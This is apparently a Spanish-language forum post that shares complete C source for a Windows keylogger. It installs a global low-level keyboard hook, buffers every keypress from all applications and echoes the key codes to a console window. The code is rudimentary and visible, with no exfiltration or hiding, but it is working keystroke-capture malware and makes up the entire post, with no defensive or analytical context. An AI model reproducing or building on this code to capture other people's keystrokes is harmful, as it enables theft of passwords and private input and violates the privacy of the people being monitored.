Este es el codigo:
Código:
#include <windows.h>
//GLOBAL VARIABLES
HANDLE myConsoleHandle;
char log[1024] = {0};
//PROTOTYPES
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
{
//DECLARATIONs
MSG message;
HHOOK hookHandle;
//MAKE CONSOLE
AllocConsole();
myConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);
//INSTALL HOOK
hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyHandler, hThisInstance, 0);
//MESSAGE LOOP
while(GetMessage(&message, NULL, 0, 0) != 0) {
TranslateMessage( &message );
DispatchMessage( &message );
}
return 0;
}
//CALLBACK FUNCTION
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam) {
//DECLARATION
DWORD cCharsWritten;
if(nCode == HC_ACTION && wParam == WM_KEYDOWN){
int keycode = ((KBDLLHOOKSTRUCT *)lParam)->vkCode;
if(strlen(log) >=100) {
int cnt = strlen(log);
for (int i=0; i<=cnt; i++){
log[i] = '\x00';
}
}
log[strlen(log)] = (char)keycode;
WriteConsole(myConsoleHandle, log, strlen(log), &cCharsWritten, NULL);
WriteConsole(myConsoleHandle, "\n", 1, &cCharsWritten, NULL);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}